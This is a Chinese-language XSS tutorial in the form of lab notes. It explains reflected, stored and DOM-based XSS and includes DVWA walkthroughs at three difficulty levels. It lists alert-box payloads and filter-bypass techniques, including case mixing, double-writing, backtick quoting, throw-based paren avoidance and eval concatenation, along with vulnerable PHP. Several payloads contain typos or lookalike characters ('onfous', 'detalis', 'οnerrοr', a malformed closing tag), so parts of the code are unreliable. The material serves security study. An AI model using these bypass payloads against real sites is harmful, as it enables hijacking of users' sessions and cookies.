XSS漏洞:
XSS又叫CSS(Cross Site Script)跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时会受到影响。恶意用户利用xss代码攻击成功后,可能得到很高的权限:私密网页内容,会话和Cookie
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的xss攻击方式:
1.script标签:
<script>标签用于定义客户端脚本,比如javascript
<script>alert(1);</script>
<script>alert("xss");</script>
2.img标签:
<img> 标签定义 HTML 页面中的图像。
<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>
3.input标签
<input>标签规定了用户可以在其中输入数据的输入字段
onfocus事件在对象获得焦点时发生
<input onfous=alert(1);>
input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发,页面加载完成后,文本输入框会自动获得焦点,用户可以直接输入文本:
<input onfocus="alert(1);
" autofocus> 直接显示
" οnclick=alert(1)> 这样需要点击一下输入框<br>
" onmouseover=alert(1)> 需要鼠标划过输入框<br>
4.detalis标签:
<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:
<details ontoggle=alert(1);>
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:
<detalis open ontoggle=alert(1);>
5.svg标签
在html页面中嵌入svg代码.svg用于描述二维图形
<svg onload=alert(1)>
常见的过滤方法:
1.空格过滤:
/**/,注释符号绕过;/符号绕过;
<img/src="x"/onerror=alert(1);>
也可以:
<img/src="x"onerror=alert(1);>
2.引号过滤:
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:
<img src=x onerror=alert(`xss`);>
3.括号过滤:
括号过滤时可以使用throw绕过,
<img src=x onerror="javascript:window.onerror=alert;throw 1">
4.关键字绕过
大小写绕过:
<ImG sRc=1 oneRror=alert(1);>
<sCript>alert(1);</sCript>
双写绕过:
<scrscriptipt>alert(1);</.scrtscriptipt>
<imimgg srsrcc=1 onerror=alert(1);>
5.字符串拼接绕过
利用eval()函数
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号
DOM:
DOM(Document Object Model)型 XSS(Cross-Site Scripting),使用DOM可以使程序和脚本能够动态访问和更新文档内容,结构,及样式。
DOM型XSS其实时一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞
HTML的标签都时节点,这些节点组成了DOM的整体结构——节点树。通过HEML DOM。树中的所有节点均可通过javaScript进行访问。所有HTML元素均可被修改,也可以创建或删除节点,在网站页面中有很多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性,方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要于服务器进行交互,它只发生在客户端处理数据阶段
攻击方式:
用户请求一个专门设计过的URL,它由攻击者提交,而且其中包含XSS代码。服务器响应不会以任何形式包含攻击者的脚本,当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致XSS漏洞
攻击步骤和原理:
恶意输入注入:
攻击者通过输入框、URL 参数等渠道将包含恶意脚本的输入数据提交到 Web 应用程序。
客户端DOM解析:
用户访问包含恶意输入的页面时,浏览器会解析 HTML 并构建 DOM 树。
DOM修改:
恶意脚本通过 JavaScrip t等方式对 DOM 进行修改。
脚本执行:
由于恶意脚本被插入到 DOM 中,浏览器在解析和执行 DOM 时会执行这些脚本,导致攻击成功。
LOW:
选择不同的标签时,URL中的default也会发生变化,直接构造js代码,<script>alert(zqc)</script>
medium:
因为过滤了script标签 所以通过使用img标签,</select><img src=1 οnerrοr=alert(1)>
high:
设置了白名单 只允许 靶场中四个选项 但是因为#后面的东西不会发送到服务端 所以可以通过加#绕过 步骤和上面一样 只不过需要加上#,#</select><img src=1 οnerrοr=alert(1)>
XSS(reflected)反射型
攻击方式:
攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问改连接时,服务器接收目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,会触发XSS漏洞
low:
我们输入的值就是name的传参值,我们输入什么url中就输出什么。
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
直接通过GET获取传参,不进行任何编码过滤,直接输入js代码
medium:
存储型XSS:
存储型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛,博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器保存下来恶意脚本也被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中执行。
例如,恶意攻击者在留言板中加入一下代码:
<script>alert(/hacker by hacker/)</script>
当其他用户访问留言板时,就会看到一个弹窗。可以看到,存储型XSS的攻击方式能将恶意代码永久地嵌入一个页面中,所有访问这个页面的人都将成为攻击者。如果我们能够谨慎对待不明连接,那么XSS攻击将没有多大作用,而存储型Xss则不同,因为它注入在一些我们信任的页面